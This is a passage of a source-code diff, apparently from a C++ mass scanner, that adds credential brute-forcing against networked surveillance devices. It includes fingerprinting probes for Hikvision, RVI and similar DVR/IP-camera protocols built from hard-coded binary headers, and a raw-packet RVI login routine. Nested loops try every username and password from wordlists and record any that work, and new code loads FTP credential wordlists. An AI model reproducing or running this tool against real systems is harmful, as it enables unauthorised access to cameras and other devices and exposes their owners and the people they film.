fclose(ftpPassList);
|
||||
}
|
||||
}
|
||||
long getFileSize(const char *fileName) {
|
||||
std::ifstream in(fileName, std::ifstream::ate | std::ifstream::binary);
|
||||
return in.tellg();
|
||||
@ -316,12 +420,14 @@ void FileUpdater::updateLists() {
|
||||
}
|
||||
|
||||
void FileUpdater::loadOnce() {
|
||||
updateList("negatives.txt", &oldNegLstSize, (void*(*)(void))updateNegatives);
|
||||
updateList("login.txt", &oldLoginLstSize, (void*(*)(void))updateLogin);
|
||||
updateList("pass.txt", &oldPassLstSize, (void*(*)(void))updatePass);
|
||||
updateList("sshpass.txt", &oldSSHLstSize, (void*(*)(void))updateSSH);
|
||||
updateList("wflogin.txt", &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
||||
updateList("wfpass.txt", &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
||||
updateList(NEGATIVE_FN, &oldNegLstSize, (void*(*)(void))updateNegatives);
|
||||
updateList(LOGIN_FN, &oldLoginLstSize, (void*(*)(void))updateLogin);
|
||||
updateList(PASS_FN, &oldPassLstSize, (void*(*)(void))updatePass);
|
||||
updateList(SSH_PASS_FN, &oldSSHLstSize, (void*(*)(void))updateSSH);
|
||||
updateList(WF_LOGIN_FN, &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
||||
updateList(WF_PASS_FN, &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
||||
updateList(FTP_LOGIN_FN, &oldFTPLoginLstSize, (void*(*)(void))updateFTPLogin);
|
||||
updateList(FTP_PASS_FN, &oldFTPPassLstSize, (void*(*)(void))updateFTPPass);
|
||||
}
|
||||
|
||||
void FileUpdater::FUClear() {
|
||||
@ -329,7 +435,9 @@ void FileUpdater::FUClear() {
|
||||
oldNegLstSize = 0;
|
||||
oldLoginLstSize = 0;
|
||||
oldPassLstSize = 0;
|
||||
oldSSHLstSize = 0;
|
||||
oldWFLoginLstSize = 0;
|
||||
oldWFPassLstSize = 0;
|
||||
oldSSHLstSize = 0;
|
||||
oldWFLoginLstSize = 0;
|
||||
oldWFPassLstSize = 0;
|
||||
oldFTPLoginLstSize = 0;
|
||||
oldFTPPassLstSize = 0;
|
||||
}
|
||||
|
@ -14,7 +14,10 @@ public:
|
||||
static long oldPassLstSize;
|
||||
static long oldSSHLstSize;
|
||||
static long oldWFLoginLstSize;
|
||||
static long oldWFPassLstSize;
|
||||
static long oldWFPassLstSize;
|
||||
static long oldFTPLoginLstSize;
|
||||
static long oldFTPPassLstSize;
|
||||
|
||||
static bool ready;
|
||||
static std::condition_variable cv;
|
||||
static std::mutex filesUpdatingMutex;
|
||||
|
@ -4,37 +4,383 @@
|
||||
|
||||
bool HikVis::isInitialized = false;
|
||||
|
||||
const char headerSAFARI[128] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x52, 0x00, 0x00, 0x00, 0x7b, 0x22, 0x4d, 0x4f,
|
||||
0x44, 0x55, 0x4c, 0x45, 0x22, 0x3a, 0x22, 0x43, 0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41,
|
||||
0x54, 0x45, 0x22, 0x2c, 0x22, 0x4f, 0x50, 0x45, 0x52, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x22, 0x3a,
|
||||
0x22, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x22, 0x2c, 0x22, 0x53, 0x45, 0x53, 0x53, 0x49,
|
||||
0x4f, 0x4e, 0x22, 0x3a, 0x22, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x35, 0x2d, 0x36, 0x66,
|
||||
0x37, 0x32, 0x2d, 0x34, 0x31, 0x63, 0x61, 0x2d, 0x39, 0x63, 0x37, 0x33, 0x2d, 0x62, 0x34, 0x37,
|
||||
0x31, 0x33, 0x32, 0x36, 0x33, 0x65, 0x62, 0x36, 0x30, 0x22, 0x7d, 0x00
|
||||
};
|
||||
|
||||
const char headerIVMS[32] = {
|
||||
0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
const char headerRVI[32] = {
|
||||
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00,
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||
};
|
||||
|
||||
const char loginRVIHeaderStart[8] = {
|
||||
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
const char loginRVIHeaderEnd[8] = {
|
||||
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||
};
|
||||
|
||||
|
||||
|
||||
int recvWT(
|
||||
int Socket,
|
||||
char *Buffer,
|
||||
int Len,
|
||||
long Timeout,
|
||||
int *bTimedOut
|
||||
){
|
||||
fd_set ReadSet;
|
||||
int n;
|
||||
struct timeval Time;
|
||||
FD_ZERO(&ReadSet);
|
||||
FD_SET(Socket, &ReadSet);
|
||||
Time.tv_sec = Timeout;
|
||||
Time.tv_usec = 0;
|
||||
*bTimedOut = FALSE;
|
||||
n = select(Socket + 1, &ReadSet, NULL, NULL, &Time);
|
||||
if (n > 0) { /* got some data */
|
||||
return recv(Socket, Buffer, Len, 0);
|
||||
}
|
||||
if (n == 0) { /* timeout */
|
||||
*bTimedOut = TRUE;
|
||||
}
|
||||
return(n); /* trouble */
|
||||
}
|
||||
|
||||
|
||||
bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return false;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return false;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
char buff[2048] = { 0 };
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, headerIVMS, 32, 0);
|
||||
char tBuff[32] = { 0 };
|
||||
int offset = 0;
|
||||
int sz = 0;
|
||||
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||
memcpy(buff + offset, tBuff, sz);
|
||||
offset = sz;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[3] == 0x10) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return false;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return false;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
char buff[2048] = { 0 };
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, headerRVI, 32, 0);
|
||||
char tBuff[32] = { 0 };
|
||||
int offset = 0;
|
||||
int sz = 0;
|
||||
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||
memcpy(buff + offset, tBuff, sz);
|
||||
offset = sz;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[0] == -80) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return false;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return false;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
char buff[2048] = { 0 };
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, headerSAFARI, 128, 0);
|
||||
char tBuff[128] = { 0 };
|
||||
int offset = 0;
|
||||
int sz = 0;
|
||||
while ((sz = recvWT(sock, tBuff, 128, gTimeOut, &bTO)) > 0) {
|
||||
memcpy(buff + offset, tBuff, sz);
|
||||
offset = sz;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[0] != '\0') {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (buff[0] == 8) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
||||
{
|
||||
lopaStr lps = { "UNKNOWN", "", "" };
|
||||
int passCounter = 0;
|
||||
char ip[64] = { 0 };
|
||||
strcpy(ip, sDVRIP);
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[64] = { 0 };
|
||||
char pass[64] = { 0 };
|
||||
|
||||
for (int i = 0; i < MaxLogin; ++i) {
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if (!globalScanFlag) return lps;
|
||||
ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);
|
||||
strcpy(login, loginLst[i]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
NET_DVR_DEVICEINFO_V30 *info;
|
||||
NET_DVR_DEVICEINFO_V30 *info = 0;
|
||||
hik_init_ptr();
|
||||
if (hik_login_ptr(sDVRIP, wDVRPort, loginLst[i], passLst[j], info) == 0) {
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
hik_cleanup_ptr();
|
||||
int res = hik_login_ptr(ip, wDVRPort, login, pass, info);
|
||||
hik_cleanup_ptr();
|
||||
if (res == 0) {
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
}
|
||||
hik_cleanup_ptr();
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("HV: " + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else{ rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(200);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
int rvi_login_ptr(const char *sDVRIP, int wDVRPort, const char *login, const char *pass) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(wDVRPort);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return -1;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return -1;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
|
||||
char newlp[32] = {0};
|
||||
memcpy(newlp, loginRVIHeaderStart, 8);
|
||||
memcpy(newlp + 8, login, strlen(login));
|
||||
memcpy(newlp + 16, pass, strlen(pass));
|
||||
memcpy(newlp + 24, loginRVIHeaderEnd, 8);
|
||||
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, newlp, 32, 0);
|
||||
char buff[32] = { 0 };
|
||||
recvWT(sock, buff, 16, gTimeOut, &bTO);
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[9] == 0x08) return 0;
|
||||
else return -1;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return -1;
|
||||
}
|
||||
|
||||
lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
|
||||
{
|
||||
lopaStr lps = { "UNKNOWN", "", "" };
|
||||
int passCounter = 0;
|
||||
char ip[64] = { 0 };
|
||||
strcpy(ip, sDVRIP);
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[64] = { 0 };
|
||||
char pass[64] = { 0 };
|
||||
|
||||
for (int i = 0; i < MaxLogin; ++i) {
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if (!globalScanFlag) return lps;
|
||||
ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);
|
||||
strcpy(login, loginLst[i]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
if (strlen(login) > 8) break;
|
||||
if (strlen(pass) > 8) continue;
|
||||
|
||||
if (rvi_login_ptr(ip, wDVRPort, login, pass) == 0) {
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
}
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(200);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
|
||||
lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
||||
if (gMaxBrutingThreads > 0) {
|
||||
|
||||
@ -51,4 +397,22 @@ lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
||||
lopaStr lps = { "UNKNOWN", "", "" };
|
||||
return lps;
|
||||
}
|
||||
}
|
||||
|
||||
lopaStr HikVis::RVILobby(const char *ip, const int port) {
|
||||
if (gMaxBrutingThreads > 0) {
|
||||
|
||||
while (BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
|
||||
++baCount;
|
||||
++BrutingThrds;
|
||||
const lopaStr &lps = rviLogin(ip, port);
|
||||
--BrutingThrds;
|
||||
|
||||
return lps;
|
||||
}
|
||||
else {
|
||||
lopaStr lps = { "UNKNOWN", "", "" };
|
||||
return lps;
|
||||
}
|
||||
}
|
@ -8,11 +8,16 @@ class HikVis {
|
||||
public: static bool isInitialized;
|
||||
|
||||
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
|
||||
lopaStr rviLogin(const char * sDVRIP, int wDVRPort);
|
||||
|
||||
public:
|
||||
static bool checkHikk(const char * sDVRIP, int port);
|
||||
static bool checkRVI(const char * sDVRIP, int port);
|
||||
static bool checkSAFARI(const char * sDVRIP, int port);
|
||||
void hikInit();
|
||||
void hikCleanup();
|
||||
lopaStr HVLobby(const char *ip, const int port);
|
||||
lopaStr RVILobby(const char *ip, const int port);
|
||||
};
|
||||
|
||||
#endif // UTILS_H
|
43
IPCAuth.cpp
43
IPCAuth.cpp
@ -11,6 +11,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
char pass[128] = {0};
|
||||
char request[1024] = {0};
|
||||
int passCounter = 1;
|
||||
int rowIndex = -1;
|
||||
|
||||
std::vector<char*> negVector;
|
||||
if(strcmp(SPEC, "IPC") == 0)
|
||||
@ -179,7 +180,15 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
if (doPost) res = con.nConnect(request, port, &buffer, postData);
|
||||
else res = con.nConnect(request, port, &buffer);
|
||||
|
||||
if (res == -2) return lps;
|
||||
if (res == -2) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
else if (res != -1) {
|
||||
for (int i = 0; i < negVector.size(); ++i)
|
||||
{
|
||||
@ -194,18 +203,40 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
{
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(100);
|
||||
};
|
||||
};
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
|
591
MainStarter.cpp
591
MainStarter.cpp
@ -10,16 +10,16 @@
|
||||
int gTimeOut = 3;
|
||||
int gPingTimeout = 1;
|
||||
int gMode;
|
||||
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
|
||||
int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0;
|
||||
int PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||
int camerasC1 = 0, filtered = 0, Overl = 0, Alive = 0, saved = 0, other = 0, ssh = 0;
|
||||
int found = 0, indexIP = 0;
|
||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
||||
int MaxPass = 0, MaxLogin = 0,
|
||||
MaxWFLogin = 0, MaxWFPass = 0,
|
||||
MaxFTPLogin = 0, MaxFTPPass = 0,
|
||||
MaxSSHPass = 0;
|
||||
int baCount = 0;
|
||||
int gMaxBrutingThreads = 50;
|
||||
unsigned int Activity = 0;
|
||||
char **loginLst, **passLst;
|
||||
char **wfLoginLst, **wfPassLst;
|
||||
char **sshlpLst;
|
||||
char gTLD[128] = { 0 };
|
||||
char gPorts[65536] = { 0 };
|
||||
char currentIP[MAX_ADDR_LEN] = { 0 };
|
||||
@ -42,18 +42,20 @@ char metaTargets[256] = { 0 };
|
||||
char metaETA[256] = { 0 };
|
||||
char metaOffline[256] = { 0 };
|
||||
|
||||
bool saveBackup;
|
||||
|
||||
|
||||
void MainStarter::unBlockButtons(){
|
||||
stt->doEmitionBlockButton(false);
|
||||
}
|
||||
int MainStarter::fileLoader(const char *fileName) {
|
||||
|
||||
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
|
||||
unsigned int importFileSize = 0;
|
||||
|
||||
FILE *fl = fopen(fileName, "r");
|
||||
if (fl != NULL)
|
||||
{
|
||||
char curIP[256] = { 0 };
|
||||
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
|
||||
{
|
||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||
@ -62,187 +64,169 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
) ++importFileSize;
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
};
|
||||
|
||||
if (importFileSize == 0) {
|
||||
fclose(fl);
|
||||
return -1;
|
||||
}
|
||||
|
||||
ipsstartfl = new unsigned int*[importFileSize + 1];
|
||||
ipsendfl = new unsigned int*[importFileSize + 1];
|
||||
ZeroMemory(ipsstartfl, sizeof(ipsstartfl));
|
||||
ZeroMemory(ipsendfl, sizeof(ipsendfl));
|
||||
|
||||
for (int i = 0; i < importFileSize; ++i)
|
||||
{
|
||||
ipsstartfl[i] = new unsigned int[4];
|
||||
ipsendfl[i] = new unsigned int[4];
|
||||
|
||||
ZeroMemory(ipsstartfl[i], sizeof(ipsstartfl[i]));
|
||||
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||
};
|
||||
|
||||
rewind(fl);
|
||||
|
||||
while (fgets(curIP, 256, fl) != NULL)
|
||||
{
|
||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
|
||||
{
|
||||
strcpy(curIPCopy, curIP);
|
||||
char *ptr1 = strstr(curIP, " ");
|
||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
|
||||
ptr1 = strstr(curIP, " ");
|
||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
ptr1 = strstr(curIP, "#");
|
||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
if (strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
|
||||
{
|
||||
ZeroMemory(curIPCopy, sizeof(curIPCopy));
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
continue;
|
||||
};
|
||||
|
||||
if (strstr(curIP, "-") != NULL)
|
||||
{
|
||||
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIP, '-');
|
||||
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
||||
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
||||
|
||||
ipsstartfl[MainStarter::flCounter][0] = tmpIPIntVec1[0];
|
||||
ipsstartfl[MainStarter::flCounter][1] = tmpIPIntVec1[1];
|
||||
ipsstartfl[MainStarter::flCounter][2] = tmpIPIntVec1[2];
|
||||
ipsstartfl[MainStarter::flCounter][3] = tmpIPIntVec1[3];
|
||||
|
||||
ipsendfl[MainStarter::flCounter][0] = tmpIPIntVec2[0];
|
||||
ipsendfl[MainStarter::flCounter][1] = tmpIPIntVec2[1];
|
||||
ipsendfl[MainStarter::flCounter][2] = tmpIPIntVec2[2];
|
||||
ipsendfl[MainStarter::flCounter][3] = tmpIPIntVec2[3];
|
||||
|
||||
if (ipsstartfl[MainStarter::flCounter][0] > ipsendfl[MainStarter::flCounter][0]
|
||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||
&& ipsstartfl[MainStarter::flCounter][1] > ipsendfl[MainStarter::flCounter][1]
|
||||
)
|
||||
|| (ipsstartfl[MainStarter::flCounter][0] >= ipsendfl[MainStarter::flCounter][0]
|
||||
&& ipsstartfl[MainStarter::flCounter][1] >= ipsendfl[MainStarter::flCounter][1]
|
||||
